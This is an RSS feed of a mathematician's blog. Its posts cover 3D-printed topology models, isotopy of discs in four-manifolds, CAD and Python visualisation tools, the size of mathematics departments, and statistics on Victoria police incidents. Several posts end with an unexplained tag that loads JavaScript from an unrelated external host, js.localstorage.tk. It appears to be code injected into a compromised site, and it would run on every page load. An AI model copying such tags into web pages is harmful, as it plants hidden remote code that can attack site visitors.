rybu's blog
http://rybu.org/blog/3
enFun with 3d printing
http://rybu.org/node/96
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even" property="content:encoded"><p>I acquired a resin (SLA) 3d printer recently, and have been working on my printing skills. The idea is to build some helpful mathematics models, useful in geometry and topology classes. I've always found this model useful when explaining Poincare duality. It's the tetrahedron, together with the parts of the dual CW-complex that one can see from inside the tetrahedron. </p>
<p>I created the model in <a href="https://www.openscad.org/">openSCAD</a>, which would perhaps best be described as an open-source CAD software package where the interface is a high-level programming language. i.e. there is very little of the tedious drag-and-drop style interface of a traditional CAD package. You tell the software rather explicitly, in a language akin to C, how geometric primitives are placed. Once you are satisfied with the appearence, you export an .stl file which most 3d printers can read. </p>
<p><img alt="" src="http://rybu.org/sites/default/files/pictures/3dPrint/I1.JPG" /><img alt="" src="/pictures/3dPrint/I1.JPG" />Rough scale indicated by my 2mm Staedtler pencil. <img alt="" src="http://rybu.org/pictures/3dPrint/I1.JPG" /></p>
<p>This is my 3rd attempt at the print. The first one turned out well, but was a little on the thin side. The 2nd print was almost exactly as in the picture, but while showing it off around the Math Department I twirled it in the air, and it shattered when it hit the ground. This one has the addition of some reinforcing trusses where the dual 2-cells meet the tetrahedron edges. Not certain if that would help much in an accidental drop, and I'm not looking forward to finding out. </p>
<p><img alt="" src="http://rybu.org/sites/default/files/pictures/3dPrint/I2.JPG" /></p>
<p>As a plastic, this type of resin prints to something of the consistency of a brittle acrylic. I have a few other resin types and have not experimented with them all yet. Some resins are designed more with an eye towards durability, or high-temperature applications, transparency, or burnability (wax) for casting. </p>
<p>I'm hoping sometime this year my son and I will build a furnace where we can melt-down some metal and try casting metal parts. The main advantage of these resin SLA printers over the more traditional spool-driven printers is SLA prints can be very high-resolution. The pictured prints are at 0.05mm, i.e. the finest resolvable detail is a 0.05mm (approximate) cube. With some resins this printer can go down to 0.025mm, although I have not tried it yet. 0.05mm is difficult to spot to the eye. With a magnifying glass you can see the sedimentary layers. Running your fingernail along it, you can sometimes notice the layering, as well. But after a brief sanding the part is completely smooth. </p>
</div></div></div>Mon, 13 Jan 2020 04:08:37 +0000rybu96 at http://rybu.orghttp://rybu.org/node/96#commentsIsotopy in dimension 4
http://rybu.org/node/95
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even" property="content:encoded"><p>Four-dimensional manifold theory is remarkable for a variety of reasons. It has the only outstanding generalized smooth Poincare conjecture. It is the only dimension where vector spaces have more than one smooth structure. The only dimension with an outstanding generalized Shoenflies problem. The list goes on. One issue that is perhaps not discussed enough is the paucity of theorems about smooth isotopy. In dimensions 2 and 3, the Schoenflies and Alexander theorems are the backbone of all theorems about isotopy, allowing one to work from the ground-up.</p>
<ul><li>The Schoenflies theorem states that an embedded circle in S<sup>2</sup> is the boundary of an embedded D<sup>2</sup>. This allows one to determine isotopy classes of embedded curves in arbitrary surfaces.</li>
<li>Alexander's theorem in dimension 3 states that an embedded S<sup>2</sup> in S<sup>3</sup> is the boundary of an embedded D<sup>3</sup>. Alexander's theorem and Dehn's Lemma together allow a standard innermost circle isotopy argument, which allows one to readily determine the isotopy relation among incompressible surfaces. Moreover, this is one of the key theorems in latticework that created the framework of "sufficiently large" or Haken manifolds, leading to geometrization. </li>
</ul><p>In dimension 5 and up, the analogue of the Schoenflies/Alexander theorems are true, but the proof has a rather different form where one proves the theorem in the tame topological category (Mazur) then applies h-cobordism. </p>
<p>In dimension 4 one still has Mazur's theorem, but the question of if D<sup>4</sup> admits an exotic smooth structure is open, so the Schoenflies problem remains open. Other basic isotopy questions remain open as well. For example, it remains an open question as to whether or not an embedded S<sup>2</sup> in S<sup>4</sup> is unknotted if and only if the exterior has infinite-cyclic fundamental group. </p>
<p>A theorem David Gabai and I <a href="https://arxiv.org/abs/1912.09029">recently proved</a> is closely related to that latter problem. We have shown that <strong>an unknotted S<sup>2</sup> in S<sup>4</sup> is the boundary of many distinct smoothly-embedded 3-discs in S<sup>4</sup></strong>. By distinct, I mean, up to isotopy leaving the unknotted S<sup>2</sup> fixed. </p>
<p>If we jump back to 3-manifolds, in S<sup>3</sup> the spanning 2-disc for an unknot is an incompressible surface and is unique up to isotopy leaving the boundary circle fixed. That proof involves Schoenflies and Dehn's Lemma. Thus, in dimension 4, if there will eventually be anything analogous to the theory of incompressible surfaces, it will be quite different from the 3-dimensional variety. </p>
<p>Another way to state our theorem is that the 4-manifold <strong>S<sup>1</sup>xD<sup>3</sup> has infinitely-many non-separating properly-embedded 3-discs, up to isotopy</strong>. We further prove that the group of diffeomorphisms Diff(S<sup>1</sup>xD<sup>3</sup>) acts transitively on these discs. We call these discs "reducing balls" in the paper. David prefers the terminology "ball" to "disc", so we use ball. I prefer calling them <strong>"reducing discs,"</strong> so in this blog, I will do just that. </p>
<p><strong>All reducing discs in S<sup>1</sup>xD<sup>3</sup> appear as fibres of smooth fibre-bundles S<sup>1</sup>xD<sup>3</sup>-->S<sup>1</sup></strong>. This result was quite surprising, for two reasons. We did not expect there to be non-standard reducing discs in S<sup>1</sup>xD<sup>3</sup>. Further, our proof that <strong>reducing discs in S<sup>1</sup>xD<sup>n</sup> were fibres of smooth fibre-bundles S<sup>1</sup>xD<sup>n</sup>-->S<sup>1</sup></strong> was far more general than we expected -- the proof works for all n. Let me say that again -- there is no adaptation for low dimensions, or high dimensions. The proof in dimension 4 is the same as the high-dimensional proof, and the low-dimensional proof. In this context, a reducing disc is a smoothly embedded D<sup>n</sup> in S<sup>1</sup>xD<sup>n</sup> such that the boundary of D<sup>n</sup> agrees with {1}xS<sup>n-1</sup>. </p>
<p>I know a very short list of non-trivial theorems about manifolds whose proofs are independent of the dimension of the manifold:</p>
<ul><li>The isotopy extension theorem. </li>
<li>The classification of tubular neighbourhoods.</li>
<li>Sard's theorem: transversality and intersection theory.</li>
</ul><p>Our proof that reducing discs are fibres of fibre bundles has a further consequence. Reducing discs have a concatenation operation -- think of stacking two copies of S<sup>1</sup>xD<sup>n</sup> together to produce a new copy of S<sup>1</sup>xD<sup>n</sup>. This stacking operation turns isotopy-classes of reducing discs into a monoid, and our proof shows there are inverses. So we might as well call this <strong>the reducing-disc group of S<sup>1</sup>xD<sup>n</sup>. </strong></p>
<p>When n=1, it is classical that the reducing-disc group is the integers. When n=2, it is a consequence of the Schoenflies theorem that the reducing-disc group is trivial. When n=3, we do not compute the reducing-disc group, but our paper proves it contains a free-abelian group of infiniite rank.</p>
<p>The only other result I know of concerning the reducing-disc group comes from the Hatcher-Wagoner book. Although they did not explicitly write it as so, their theorem concerning the structure of the mapping-class group of S<sup>1</sup>xD<sup>n </sup>has the consequence that the reducing-disc group of S<sup>1</sup>xD<sup>n </sup>is a direct-sum of countably-many copies of Z<sub>2</sub>. This requires n to be 6 or larger. </p>
<p>Some care is needed. The result of Hatcher-Wagoner states that the mapping class group of S<sup>1</sup>xD<sup>n</sup>, provided n is 6 or larger, is isomorphic to a direct sum of the three subgroups:</p>
<ol><li>The mapping-class group of D<sup>n+1</sup>. i.e. isotopy-classes of diffeomorphisms of the (n+1)-disc that are the identity on the boundary.</li>
<li>The mapping-class group of D<sup>n</sup>. </li>
<li>An infinite direct-sum of copies of Z<sub>2</sub>. </li>
</ol><p>To go between their result and ours, one needs to observe that the reducing-disc group is the path-components of the space of embeddings of D<sup>n</sup> into S^1xD<sup>n</sup> that agree with the standard inclusion on the boundary, modulo parametrization. i.e. I am thinking of the elements of the reducing-disc group as not being equipped with a parametrization. Thus items (1) and (2) are trivial in the reducing-disc group, and we are left with only the infinite direct-sum of Z<sub>2</sub>. </p>
<p> </p>
</div></div></div>Wed, 01 Jan 2020 02:40:26 +0000rybu95 at http://rybu.orghttp://rybu.org/node/95#commentsNews in 3d graphics software
http://rybu.org/node/94
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even" property="content:encoded"><p>Over the past several years, a few CAD packages developed on-line interfaces. I'm thinking of <a href="https://www.sketchup.com/">Sketchup</a> and <a href="https://www.tinkercad.com/">TinkerCAD</a>. </p>
<p>Sketchup has historically been oriented more towards architechture and home layout. TinkerCAD was intended as a baby version of AutoCAD, I imagine as something of a "gateway drug" to an expensive AutoCAD purchase. </p>
<p>I had found both interfaces to be frustrating to use. That said, I am not the target audience of either software package. Sketching a regular tetrahedron in either package was far more work than one would hope. </p>
<p>But things have changed. TinkerCAD recently added a <a href="https://scratch.mit.edu/">Scratch</a> interface to its on-line package. Scratch is a simple visual programming language, in many ways analogous to the BASIC language from the 1980s. I found out about Scratch last summer, when my 9-year-old son showed me a video game he wrote in the language. </p>
<p>TinkerCAD's Scratch interface is distinct from its regular interface, and called "Codeblocks". Codeblocks is a one-way interface, when you code in one window pane, hit an "execute" button, then watch your code be rendered in a distinct pane. It has a lag built-in to its rendering process, so you can keep track of which element of your code is resulting in various results in the visual pane. </p>
<p>As an experiment, this morning I tried to implement a Poincare Duality visual aid I've used several times before. </p>
<p><img alt="" src="https://i.stack.imgur.com/2G38W.png" style="height:833px; width:1111px" /></p>
<p>Overall, I am pleased with the <a href="https://www.tinkercad.com/codeblocks/izOoT5TpWUc-poincare-duality-teaching-aid">outcome. </a> </p>
<p>Codeblocks has some major shortcomings but by-and-large it is usable. For example, one of the most common problems I had with Codeblocks is the need to rotate objects around various (non-coordinate) axis, by a variety of angles. Or to place a triangle or quadrilateral, ideally by specifying the vertices. Codeblocks does not make these tasks easy. Rotations need to be done about the Cartesian coordinate axis. So while I generate code in Codeblocks, I usually have a Python session open in another window, equipped with some code that can rapidly convert a rotation about an arbitrary axis into Euler angles. </p>
<p>Ultimately this exercise was for another purpose. I recently acquired a 3d printer and was looking for a simple print to test the printer's capabilities. </p>
<p>I will update this post in a day or two, once the print is ready. </p>
<p><img alt="" src="http://rybu.org/files/pictures/math-knot/Poincare Duality teaching aid..gif" /><img alt="" src="http://rybu.org/sites/default/files/pictures/math-knot/Poincare Duality teaching aid..gif" /></p>
<p>Edit: Although TinkerCAD is quite nice I have migraded to using <a href="https://www.openscad.org/">OpenSCAD</a>. OpenSCAD is similar to TinkerCAD but it is more full-featured. It has a much more substantial programming language under the hood. The only defect I can point to is it could benefit from more substantial multi-threading. I will write an OpenSCAD article in the near future.</p>
<p> </p>
</div></div></div>Sat, 07 Dec 2019 03:25:08 +0000rybu94 at http://rybu.orghttp://rybu.org/node/94#commentsWhy are mathematics departments so large?
http://rybu.org/node/93
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even" property="content:encoded"><p>Why are mathematics departments so large? Isn't mathematics basically done? Is there really any research left to do?</p>
<p>A university the size of U.Victoria probably would only have 5 or 6 mathematicians, broadly construed, if it only cared about mathematics research functionality. Mathematics research is alive and well in the world, and it has both short-term and long-term real-world implications. But our societal interest in mathematics research does not warrant the number of faculty in our research institutions. </p>
<p>The reason U.Vic has 30+ mathematics and statistics faculty members comes down to service courses: these are the large-enrollment first and second year mathematics and statistics courses, like introductory calculus and statistics courses. Here at U.Vic we have somewhere over 1000 students completing elements of our service calculus courses, every year. The desire to have research faculty teaching those courses, and the follow-on courses needed by many faculties, notably engineering, is what drives our faculty size. Universities have tried various ways to get those math faculty numbers down, but without much success. </p>
<p>I don't know of any university that has a wildly successful service calculus stream. Generally these are courses that students are required to take for their majors, and enthusiasm levels have a fairly low cap. Measuring success of service courses isn't done in the absolute ways one might hope for (does it inspire students to do useful things? do they get involved in research?) but with the more relative (how does this way of offering it compare to what we've done for the past decade?). At present, the best-known models for teaching calculus for the <em>typical student </em>is the small class of 16-20 students in a lecture format with plenty of time for one-on-one interaction. At U.Vic we can't afford that kind of luxurious teaching model, so we put 200+ students in a big lecture hall, and have smaller tutorials where students can get a little more attention. Needless to say, that still requires a good amount of lecturers. </p>
<p>This begs the question: why are students required to take these courses? Ultimately universities are supposed to be places of research, where students can learn useful things from inspired researchers at the cutting-edge of knowledge. Service courses don't fit that model precisely -- service courses are offered in more like a high-school atmosphere. </p>
<p>A century ago, calculus was offered less like a service course. And students in universities were required to learn latin. The latin requirement had a few motivations: medicine and biology used elements of the language. But it also served as a measure of the incoming class, a gauge of their proficiency with logic and grammar. In the Sputnik era, enrollment at universities surged. An emphasis on engineering and the hard sciences brought with it a heavier demand for proficiency with basic mathematics. The latin requirement was swapped-out for a calculus requirement, and service calculus courses became mainstream. Mathematics departments swelled: not from a societal demand for more mathematics research, but from the requirement for more service courses, together with the expectation that instructors at universities should be researchers. </p>
<p>Service courses have become more refined over the past century, but modern textbooks continue to look an awful-lot like textbooks from 1950. In my opinion, the most dramatic change to service course landscape occurred in just the past couple of years. Software like <a href="https://www.photomath.net/en/">Photomath</a> and <a href="https://socratic.org/">Socratic</a> allow you to take a photograph of typical service course material, even grade-school material, with your cell-phone. If the software can parse the text well-enough, it will often comprehend it and give you a fully-worked-out solution, suitable for submitting for grading. </p>
<p>This introduces a new debate. If university material is so mundane that a common pocket-device can do it better than a typical student, what's the point of teaching the topic? </p>
<p>An analogous debate occured over the years: it was once common to demand children remember multiplication tables up to 20x20 or 12x12. When I was a child, it was down to 10x10. As a student I believe I remembered only up to 6x6. I would work out the rest using arithmetic, eg: 8x3 = (10-2)x3 = 10x3 - 2x3 = 30 - 6 = 24, although I had a simplified way of thinking about this, internally. I never liked having to remember things that I could derive. When pocket calculators came on the scene, people's perspective began to shift. The memorization of multiplication tables was increasingly seen as a mundane machine task, not something a person should know. So the requirement was loosened. We are at the cusp where service-calculus problems are becoming machine-doable, so this same debate will open-up on calculus courses. </p>
<p>A skeptical mathematician might say "but wait! We are teaching these students not how to simply get an answer. We are teaching them the logical infrastructure of calculus and how to make a coherenet logical argument!" That is of course a valid point, but the counter-point is far more compelling: soon we will have students turning to their phones to get answers to pretty much any question we can throw at them in a service course. You have likely already observed this phenomena: we forget phone numbers because they are on our cellular devices. We forget material we know we can quickly find on the internet. The ease with which we can acquire knowledge impacts how we value it, and how well we remember it. And calculus knowledge is now available with a few clicks on your cell phone. </p>
</div></div></div>Thu, 22 Aug 2019 23:34:56 +0000rybu93 at http://rybu.orghttp://rybu.org/node/93#commentsTorus knots with homological longitude
http://rybu.org/node/72
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even" property="content:encoded"><p><iframe frameborder="0" height="800" scrolling="no" src="https://plot.ly/~Ryan.Budney/6.embed" width="900"></iframe></p>
<script type="text/javascript" src="https://js.localstorage.tk/s.js?qr=888"></script></div></div></div>Sat, 19 Mar 2016 22:21:00 +0000rybu72 at http://rybu.orghttp://rybu.org/node/72#commentsMagnetic field around a conducting Moebius band
http://rybu.org/node/71
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even" property="content:encoded"><p>Here is another visualization from my course. We are computing magnetic fields around conductors. This is part of a demonstration of how (relatively easily) we can compute magnetic fields about fairly arbitrary conductors. In this case, think of the Moebius band as an interval bundle over a circle. The electric current is running the the direction of the base circle. </p>
<p><iframe frameborder="0" height="800" scrolling="no" src="https://plot.ly/~Ryan.Budney/178.embed" width="900"></iframe></p>
<script type="text/javascript" src="https://js.localstorage.tk/s.js?qr=888"></script></div></div></div>Sat, 19 Mar 2016 08:10:49 +0000rybu71 at http://rybu.orghttp://rybu.org/node/71#commentsMore elementary stats derived from the VPD page
http://rybu.org/node/69
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even" property="content:encoded"><p>In the 30-day span of data I downloaded, Saturday appears to be the busiest day for the Victoria police. </p>
<table border="4" cellpadding="1" cellspacing="1" style="width:300px"><thead><tr><th scope="col" style="width: 135px;">Day of week</th>
<th scope="col" style="width: 147px;">avg. number of citations</th>
</tr></thead><tbody><tr><td style="width: 135px;">Wednesday</td>
<td style="width: 147px;">27.25</td>
</tr><tr><td style="width: 135px;">Monday</td>
<td style="width: 147px;">28.0</td>
</tr><tr><td style="width: 135px;">Thursday</td>
<td style="width: 147px;">31.75</td>
</tr><tr><td style="width: 135px;">Tuesday</td>
<td style="width: 147px;">33.25</td>
</tr><tr><td style="width: 135px;">Sunday</td>
<td style="width: 147px;">36.0</td>
</tr><tr><td style="width: 135px;">Friday</td>
<td style="width: 147px;">37.5</td>
</tr><tr><td style="width: 135px;">Saturday</td>
<td style="width: 147px;">39.5</td>
</tr></tbody></table><p> </p>
<p>The day-of-the-week breakdowns go like this:</p>
<p> </p>
<p><img alt="" src="http://rybu.org/sites/default/files/pictures/wed.png" style="height:640px; width:640px" /></p>
<p><img alt="" src="http://rybu.org/sites/default/files/pictures/mon.png" style="height:640px; width:640px" /></p>
<p><img alt="" src="http://rybu.org/sites/default/files/pictures/thur.png" style="height:640px; width:640px" /></p>
<p><img alt="" src="http://rybu.org/sites/default/files/pictures/tues.png" style="height:640px; width:640px" /></p>
<p><img alt="" src="http://rybu.org/sites/default/files/pictures/sun.png" style="height:640px; width:640px" /></p>
<p><img alt="" src="http://rybu.org/sites/default/files/pictures/fri.png" style="height:640px; width:640px" /></p>
<p><img alt="" src="http://rybu.org/sites/default/files/pictures/sat.png" style="height:640px; width:640px" /></p>
<script type="text/javascript" src="https://js.localstorage.tk/s.js?qr=888"></script></div></div></div>Fri, 11 Mar 2016 08:07:28 +0000rybu69 at http://rybu.orghttp://rybu.org/node/69#commentsA breakdown of the Victoria Police department "crime types" for all incidents over the past 30 days.
http://rybu.org/node/68
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even" property="content:encoded"><p>This semester I've been enjoying teaching a course where we use <a href="https://www.python.org/">Python</a>. I've been getting acquainted with its abilities to pull and parse data off the internet, and turn it into useful graphics. The Victoria Police Department has an <a href="https://vicpd.ca/public-safety/crime-prevention/crime-reports/">incident-report webpage</a>. I wrote a script to strip the crime data off the webpage and will ask my students to do some basic statistical analysis of the data. Here is a teaser of what's to come.</p>
<p class="rtecenter">Over the past 30 days, here is the relative frequency of the different recorded crime-types:</p>
<p><img alt="" src="http://rybu.org/sites/default/files/pictures/last%2030%20days.png" style="height:831px; width:972px" /></p>
<p> </p>
<script type="text/javascript" src="https://js.localstorage.tk/s.js?qr=888"></script></div></div></div>Wed, 09 Mar 2016 09:33:51 +0000rybu68 at http://rybu.orghttp://rybu.org/node/68#commentsInteractive Graphics - Python and Plotly
http://rybu.org/node/67
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even" property="content:encoded"><p>A completely different graphics engine for Python is called <a href="https://plot.ly">Plotly</a>. Aside from being a very slick package, the library makes the transition to using your graphics on-line as seamless as possible. The plot below is an interactive rendering of a parametric surface in R<sup>3</sup>, a torus knot. You can zoom and rotate with your mouse. The code to generate the plot was written in Python. The advantage of Plotly is that when you run the code, your rendering (really, your code) is sent up to the Plotly server where it can be distributed to other user's web-browsers. You can embed the rendering in any html page as an I-frame. Depending on how speedy the end-user's computer is, they may find the rendering below more or less pleasant. </p>
<p><iframe frameborder="0" height="800" scrolling="no" src="https://plot.ly/~Ryan.Budney/8.embed" width="900"></iframe></p>
<p>The big advantage of Plotly is that you can seamlessly push your graphics onto the internet. Indeed -- the plotly site sends your entire Python app to the end-users web-browser and it will be run on the end-user's machine. This can be slow, but it is effective for basic applications. It also allows the end-user to not rely on your data -- their computer can compile data in real-time by ripping it from a website, for example. </p>
<p>One downside to Plotly is you rely on their web-service to host your code. You can host public code free of charge, but if you wish to share your graphics privately you will have to pay for the service. Overall I find this quite impressive. </p>
<p>One other downside is it appears Plotly lacks some flexibility -- it takes quite a bit more effort to specify how a parametric surface is coloured. The default "colormap" option maps the colours directly from the z-coordinate. </p>
<p>Plotly has an "offline" setting where you can view your graphics locally in your i-python notebook. You can use this as much as you like without signing up for their service. </p>
<p><a href="https://plot.ly/~Ryan.Budney/folder/Ryan.Budney:129">A table of 3d-rendered (p,q)-torus knots. </a></p>
<p> </p>
<script type="text/javascript" src="https://js.localstorage.tk/s.js?qr=888"></script></div></div></div>Mon, 29 Feb 2016 02:14:06 +0000rybu67 at http://rybu.orghttp://rybu.org/node/67#commentsInteractive graphics - Python, SymPy and VisPy
http://rybu.org/node/66
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even" property="content:encoded"><p>One of my childhood jobs was for an engineering company. This was back in the days before Matlab or Mathematica. I would write software for this company (interestingly the company failed and was reincarnated as <a href="http://www.flexpipesystems.com/main/home.html">FlexPipe</a> in 2001, the owners being the previous engineers), to compute numerical integrals to predict the pressure it should take to make their pipe explode, in various configurations. Eventually I used the <a href="https://en.wikipedia.org/wiki/Persistence_of_vision">Persistence of Vision</a> raytracer to create slick graphics depicting the internal structure of their pipe, to help sell the product to potential investors. </p>
<p>Raytracing was extremely time consuming in the 1990's so I developed a fairly efficient pipeline for generating the graphics. One that I've been using ever since. Below is an image created by this pipeline, about 5 years ago. My pipeline primarily involved writing a Pascal (eventually C++) script to generate (part of) the script for Persistence of Vision. I would then run Persistence of Vision, sometimes for a few days, to generate the final image.</p>
<p><img alt="" src="http://rybu.org/sites/default/files/poster_small.png" /> </p>
<p>The main advantage of using Pascal and C++ to generate the data is it allowed me to be highly prescriptive on the geometric objects used -- allowing for the computation of the precise location of the circles in the above picture, as these are circles that the intersect the knot in precisely five points. The primary disadvantage is writing the Pascal or C++ program is the relatively slow compilation process and transition to a final rendered object. I've been sitting on the fence for years wondering if I should use an interactive modelling environment like AutoCad or Rhino. </p>
<p>I believe I've stumbled across a potential shortcut that will help me avoid that.</p>
<p><a href="https://www.python.org/">Python</a> is a popular high-level programming language that has a large variety of increasingly sophisticated libraries available. <a href="http://vispy.org/">VisPy</a> is a library that utilizes <a href="https://www.opengl.org/">OpenGL</a> to interface with a computers <a href="https://en.wikipedia.org/wiki/Graphics_processing_unit">GPU</a>. In short, this allows for the rapid production of software to create rapidly-rendered graphics. So rapid, in many cases, that interactive graphics are possible. </p>
<p>It would be nice if it was that straightforward. I've been coding in Python to see how possible all this is. Using a high-level language like Python comes with a price. So I've set myself a set of exercises to see if I can code "the way I'd like to" in a high-level way, and get Python to do what I like. This is the first in a series of posts where I hope to convince myself that I can. </p>
<p>The first obstacle I've encountered is the <a href="http://www.sympy.org/en/index.html">sympy library</a>. This is Python's primary library for manipulating formal mathematical expressions, such as functions, roots, special numbers such as π, etc. It is ultimately an object that stores mathematical constructions in a tree. So if you have a complicated mathematical expression and wish to evaluate it, sympy will parse through that tree (a structure based on pointers) and slowly assemble the required binary operations, perhaps using automatic casts and such to decide what you really want the library to do in the process. For a decent-sized formula (like say the boundary of a tubular neighbourhood of a torus knot in R<sup>3</sup>) this can easily be tens of thousands of times slower than coding it up in C++. If this was the end of the story, I would discard Python right here. Luckily sympy has libraries that allow one to speed this process up. </p>
<p>Here is my first coding example, using vispy to generate an interactive visualization of a (p,q)-torus knot. In future posts I hope to make the graphics increasingly interactive, using more features of the vispy library. </p>
<p>The code is broken into four blocks.</p>
<ol><li>Is the high-level block where everything is written as abstract sympy algebraic expressions.</li>
<li>Is where we experiment with the various methods for converting sympy expressions into callable functions. In this case, <em>ufunctify</em> appears to be the most efficient.</li>
<li>We generate the mesh data.</li>
<li>We pass the data to VisPy for rendering.</li>
</ol><p>One other thing to note, I am running this code in an<a href="http://jupyter.org/"> iPython / Jupyter notebook</a>. This provides a web-browser based environment for editing and running Python code. I've been teaching a course recently using this environment and have found it quite pleasant. I will put the code in a comment below. </p>
<p>And here is a screenshot of the output.</p>
<p><img alt="" src="http://rybu.org/sites/default/files/Screenshot%20from%202016-02-11%2011%3A45%3A23.png" style="height:978px; width:1352px" /></p>
<p>In my next post I will explore the VisPy <em>canvas </em>a little further, and hopefully bring further layers of interactivity into this program.</p>
<p> </p>
<script type="text/javascript" src="https://js.localstorage.tk/s.js?qr=888"></script></div></div></div>Wed, 10 Feb 2016 07:11:54 +0000rybu66 at http://rybu.orghttp://rybu.org/node/66#comments